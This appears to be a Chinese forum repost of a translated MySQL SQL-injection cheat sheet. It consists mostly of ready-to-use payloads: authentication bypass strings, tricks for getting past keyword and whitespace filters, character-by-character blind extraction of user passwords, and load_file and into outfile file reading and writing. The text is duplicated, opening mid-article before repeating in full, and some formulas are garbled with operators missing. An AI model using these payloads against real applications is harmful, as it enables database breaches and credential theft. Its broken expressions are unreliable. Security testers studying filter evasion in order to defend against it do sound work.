'/!50000or/ 1=1 -- - //版本号为5.1.38时只要小于50138  '/!or/ 1=1 -- - 
 前缀:
任意混合 + - ~ !
'or --+2=- -!!!'2
测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/ or 前的空格可以省略
'or- -!!!1=1;
运算符:
^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV,
SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……

'or 1 rlike '1
空格替换:%20, %09, %0a, , , %0d, %a0
也可以插入括号,前缀,操作符,引号
'or+(1)sounds/**/like"1"--%a0-
字符串格式
' or "a"='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下测试无效
' or 'a'=x'61' //16进制
 
2、MySQL常用的一些小工具
常量:true, false, null, \N, current_timestamp....
变量:@myvar:=1
系统变量:@@version, @@datadir....
常用函数:version(), pi(), pow(), char(), substring()....
 
3、MySQL类型转换
' or 1=true #true=1, false=0
' or 1 #true
' or version()=5.5 #5.5.41-log

' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4

select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
以上的语句都是同样的效果
 
4、认证绕过
绕过语句:'='
select data from users where name="="
select data from users where flase="
select data from users where 0=0
绕过语句:'-'
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0 
 
0x02 关键字过滤
空格
过滤代码/\s/
%20, %09, %0a, , , %0d, %a0
关键字OR,AND
过滤代码/\sor\s/i,/\sand\s/i
'||1='1 #or
'='
'&&1='1 #and
关键字union select
过滤代码/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/!select/pass from users#
/vuln.php?id=1 union/&sort=/select pass from users-- -
如果单独过滤union,使用盲注来获取数据
'and(select pass from users limit 1)='secret
通过子查询获取单值来进行比较
关键字limit
过滤代码/limit/i
'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))

关键字having
过滤代码/having/i
'and(select substr(group_concat(pass),1,1)from users)='a
关键字select ... from
过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
关键字select
过滤代码/select/i
 
1、有文件读取权限
' and substr(load_file('file'),locate('DocumentRoot',
(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
 
2、获取列名
' and 列名 is not null#
' procedure analyse()#
使用subst r 来做过滤条件
'and substr(pass,1,1)='a
关键字select,and,&
' 0#
select data from users where name = ''-0 # int typecast

select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true
' -1#
select data from users where 0 = -1 # false
使用条件判断来进行true、false的选择
ifnull(nullif()), case when, if()
'-if(name='Admin',1,0)#
使用嵌套条件'-if(
if(name='Admin',1,0), // condition
if(substr(pass,1,1)='a',1,0) // if true
,0)# // if false

0x03 函数过滤
构建字符串相关函数
unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61# 0x6162
' and substr(data,1,1) = unhex(61)# unhex(6162)
' and substr(data,1,1) = char(97)# char(97,98)
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#
使用conv来进行进制的转换
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
' and substr(data,1,1) = lower(conv(11,10,36))# 'b'

' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
使用函数来猜解数据
' and substr(data,1,1) = 'a'#
' and substring(data,1,1) = 'a'#
' and mid(data,1,1) = 'a'#
不适用逗号来获取
' and substr(data from 1 for 1) = 'a'#
同样也可以使用一下比较少见的函数来尝试绕过
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
有些函数有类似搜索匹配的功能
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()
使用函数进行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
2种方式都是相同效果

0x04 注入时主要使用的一些东西
1个比较操作(=, like, mod(), ...)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())
使用conv([10-36],10,36)可以实现所有字符的表示
false !pi() 0 ceil(pi()*pi()) 10 A
ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B
ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C
ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D
ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E
ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F
floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G
floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H
ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I
ceil(pi()pi()pi()-pi()) 28 S
floor(pi()pi()) 9 floor((pi()+pi())pi()) 19 J
floor(pi()pi()floor(pi())) 29 T
 
 
翻译者:Utopia
 
来自wooyun的drops。别人用spider爬出来的。
在百度sql注入的时候无意间看到的。
据说现在wooyun服务器还没有关闭,等到咱们学python之后就可以写爬虫来爬知识库的干货研究研究~
这篇文章值得大家好好研究,都是干货,过滤、恒等、绕过、获取等等。。。
 
白衣行侠,轻剑快马。
  查看全部
0x00 介绍
很多东西都是一样的,但是有一些小技巧确实很使用。
以下所有技巧都只在mysql适用,因为它太灵活了。
 
0x01 MYSQl灵活的语法
 
1、MySQL语法以及认证绕过
注释符:
#,
-- X(X为任意字符)
/*(MySQL-5.1)
;
`
'or 1=1;
'or 1=1 union select 1,2`'
'or 1=1 #
'/!50000or/ 1=1 -- - //版本号为5.1.38时只要小于50138  '/!or/ 1=1 -- - 
 前缀:
任意混合 + - ~ !
'or --+2=- -!!!'2
测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/ or 前的空格可以省略
'or- -!!!1=1;
运算符:
^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV,
SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……

'or 1 rlike '1
空格替换:%20, %09, %0a, , , %0d, %a0
也可以插入括号,前缀,操作符,引号
'or+(1)sounds/**/like"1"--%a0-
字符串格式
' or "a"='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下测试无效
' or 'a'=x'61' //16进制
 
2、MySQL常用的一些小工具
常量:true, false, null, \N, current_timestamp....
变量:@myvar:=1
系统变量:@@version, @@datadir....
常用函数:version(), pi(), pow(), char(), substring()....
 
3、MySQL类型转换
' or 1=true #true=1, false=0
' or 1 #true
' or version()=5.5 #5.5.41-log

' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4

select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
以上的语句都是同样的效果
 
4、认证绕过
绕过语句:'='
select data from users where name="="
select data from users where flase="
select data from users where 0=0
绕过语句:'-'
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0 
 
0x02 关键字过滤
空格
过滤代码/\s/
%20, %09, %0a, , , %0d, %a0
关键字OR,AND
过滤代码/\sor\s/i,/\sand\s/i
'||1='1 #or
'='
'&&1='1 #and
关键字union select
过滤代码/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/!select/pass from users#
/vuln.php?id=1 union/&sort=/select pass from users-- -
如果单独过滤union,使用盲注来获取数据
'and(select pass from users limit 1)='secret
通过子查询获取单值来进行比较
关键字limit
过滤代码/limit/i
'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))

关键字having
过滤代码/having/i
'and(select substr(group_concat(pass),1,1)from users)='a
关键字select ... from
过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
关键字select
过滤代码/select/i
 
1、有文件读取权限
' and substr(load_file('file'),locate('DocumentRoot',
(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
 
2、获取列名
' and 列名 is not null#
' procedure analyse()#
使用subst r 来做过滤条件
'and substr(pass,1,1)='a
关键字select,and,&
' 0#
select data from users where name = ''-0 # int typecast

select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true
' -1#
select data from users where 0 = -1 # false
使用条件判断来进行true、false的选择
ifnull(nullif()), case when, if()
'-if(name='Admin',1,0)#
使用嵌套条件'-if(
if(name='Admin',1,0), // condition
if(substr(pass,1,1)='a',1,0) // if true
,0)# // if false

0x03 函数过滤
构建字符串相关函数
unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61# 0x6162
' and substr(data,1,1) = unhex(61)# unhex(6162)
' and substr(data,1,1) = char(97)# char(97,98)
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#
使用conv来进行进制的转换
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
' and substr(data,1,1) = lower(conv(11,10,36))# 'b'

' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
使用函数来猜解数据
' and substr(data,1,1) = 'a'#
' and substring(data,1,1) = 'a'#
' and mid(data,1,1) = 'a'#
不适用逗号来获取
' and substr(data from 1 for 1) = 'a'#
同样也可以使用一下比较少见的函数来尝试绕过
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
有些函数有类似搜索匹配的功能
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()
使用函数进行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
2种方式都是相同效果

0x04 注入时主要使用的一些东西
1个比较操作(=, like, mod(), ...)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())
使用conv([10-36],10,36)可以实现所有字符的表示
false !pi() 0 ceil(pi()*pi()) 10 A
ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B
ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C
ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D
ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E
ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F
floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G
floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H
ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I
ceil(pi()pi()pi()-pi()) 28 S
floor(pi()pi()) 9 floor((pi()+pi())pi()) 19 J
floor(pi()pi()floor(pi())) 29 T
 
 
翻译者:Utopia
 
来自wooyun的drops。别人用spider爬出来的。
在百度sql注入的时候无意间看到的。
据说现在wooyun服务器还没有关闭,等到咱们学python之后就可以写爬虫来爬知识库的干货研究研究~
这篇文章值得大家好好研究,都是干货,过滤、恒等、绕过、获取等等。。。
 
白衣行侠,轻剑快马。